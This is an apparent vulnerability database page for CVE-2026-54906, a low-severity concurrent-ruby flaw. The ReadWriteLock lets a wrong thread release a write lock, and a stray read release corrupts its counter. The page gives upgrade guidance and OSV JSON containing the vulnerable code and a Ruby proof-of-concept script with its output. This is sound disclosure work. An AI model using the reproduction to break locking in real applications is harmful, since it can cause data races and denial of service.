CVE-2026-54906: Concurrent Ruby ReadWriteLock Allows Wrong-thread Write Release Vulnerability
LOWCVE-2026-54906 is a LOW readwritelock allows wrong-thread write release vulnerability (CWE-414: Missing Lock Check) affecting Concurrent Ruby libraries in the RubyGems ecosystem. The issue involves readwritelock allows wrong-thread write release and stray read-release counter corruption. Remediation is available by upgrading affected packages to version 1.3.7.
CVE-2026-54906 at a Glance
How to Fix CVE-2026-54906
To remediate this vulnerability, upgrade all affected Concurrent Ruby dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade concurrent-ruby to 1.3.7
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for concurrent-ruby
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-54906, inspect your project dependencies for Concurrent Ruby:
inspect dependencies for concurrent-ruby
Analyze the terminal output to locate any version of Concurrent Ruby in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.3.7), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-414: Missing Lock Check, where a product does not check to see if a lock is present before performing sensitive operations on a resource. In Concurrent Ruby, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54906 Affected Concurrent Ruby Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
concurrent-ruby
|
RubyGems |
< 1.3.7
|
1.3.7
|
References
Frequently Asked Questions
What is CVE-2026-54906?
Which Concurrent Ruby versions are affected?
What version fixes CVE-2026-54906?
Is concurrent-ruby affected?
What CWE is associated with CVE-2026-54906?
How can I check RubyGems dependencies for CVE-2026-54906?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6wx8-w4f5-wwcr",
"modified" : "2026-06-19T20:47:41Z",
"published" : "2026-06-19T20:47:41Z",
"aliases" : [ "CVE-2026-54906" ],
"summary" : "Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption",
"details" : "### Summary\n`Concurrent::ReadWriteLock#release_write_lock` does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.\n\n`Concurrent::ReadWriteLock#release_read_lock` also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from `0` to `-1`, after which normal read acquisition raises `Concurrent::ResourceLimitError`.\n\nThis is a synchronization correctness issue in the public `Concurrent::ReadWriteLock` API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n\n### Details\n\n`release_write_lock` checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:\n\n```ruby\ndef release_write_lock\n return true unless running_writer?\n c = @Counter.update { |counter| counter - RUNNING_WRITER }\n @ReadLock.broadcast\n @WriteLock.signal if waiting_writers(c) > 0\n true\nend\n```\n\nBecause ownership is not checked, a different thread can clear the `RUNNING_WRITER` bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.\n\n`release_read_lock` unconditionally decrements the shared counter:\n\n```ruby\ndef release_read_lock\n while true\n c = @Counter.value\n if @Counter.compare_and_set(c, c-1)\n if waiting_writer?(c) && running_readers(c) == 1\n @WriteLock.signal\n end\n break\n end\n end\n true\nend\n```\n\nOn a fresh lock, this changes the counter from `0` to `-1`. A later `acquire_read_lock` raises `Concurrent::ResourceLimitError` because the maximum-reader check masks the negative counter as saturated.\n\n# Reproduce\n\nFrom the root of a `concurrent-ruby` checkout, run:\n\n```bash\nruby -Ilib/concurrent-ruby - <<'RUBY'\nrequire 'concurrent/atomic/read_write_lock'\nrequire 'concurrent/version'\nrequire 'thread'\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=ReadWriteLock release methods corrupt or bypass lock state\"\n\nlock = Concurrent::ReadWriteLock.new\nevents = Queue.new\nwriter1_inside = false\n\nwriter1 = Thread.new do\n lock.acquire_write_lock\n writer1_inside = true\n events << :writer1_acquired\n sleep 0.5\n writer1_inside = false\n lock.release_write_lock\n events << :writer1_finished\nend\n\nevents.pop\nputs 'writer1_acquired=true'\n\nintruder_result = nil\nintruder = Thread.new do\n intruder_result = lock.release_write_lock\nend\nintruder.join\n\nputs \"wrong_thread_release_write_lock_returned=#{intruder_result}\"\n\nwriter2_entered_while_writer1_inside = nil\nwriter2 = Thread.new do\n lock.acquire_write_lock\n writer2_entered_while_writer1_inside = writer1_inside\n lock.release_write_lock\nend\n\nwriter2.join(0.25)\n\nputs \"writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}\"\n\nwriter1.join\n\nlock2 = Concurrent::ReadWriteLock.new\nstray_read_release_result = lock2.release_read_lock\ncounter_after_stray_read_release = lock2.instance_eval { @Counter.value }\nread_after_stray_release = begin\n lock2.acquire_read_lock\n 'acquired'\nrescue => error\n \"#{error.class}: #{error.message}\"\nend\n\nputs \"stray_release_read_lock_returned=#{stray_read_release_result}\"\nputs \"counter_after_stray_read_release=#{counter_after_stray_read_release}\"\nputs \"acquire_read_after_stray_release=#{read_after_stray_release}\"\n\nif intruder_result && writer2_entered_while_writer1_inside && counter_after_stray_read_release == -1\n puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption'\nelse\n puts 'result=NOT_REPRODUCED'\nend\n```\nExpected result:\n\n- A second thread successfully calls `release_write_lock` while the first writer still holds the lock.\n- A second writer enters while the first writer is still inside the write critical section.\n- Calling `release_read_lock` on a fresh lock changes the counter to `-1`.\n- A subsequent read acquisition fails with `Concurrent::ResourceLimitError`.\n\n### Log evidence\n\nLocal reproduction output:\n\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=ReadWriteLock release methods corrupt or bypass lock state\nwriter1_acquired=true\nwrong_thread_release_write_lock_returned=true\nwriter2_acquired_while_writer1_inside=true\nstray_release_read_lock_returned=true\ncounter_after_stray_read_release=-1\nacquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads\nresult=REPRODUCED wrong-thread write release and stray read-release corruption\n```\n\n### Impact\nThis can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release.\nThe impact is local to applications that expose or misuse the manual `acquire_*` / `release_*` APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "RubyGems",
"name" : "concurrent-ruby"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.3.7"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ruby-concurrency/concurrent-ruby"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-414", "CWE-667" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-19T20:47:41Z",
"nvd_published_at" : null
}
}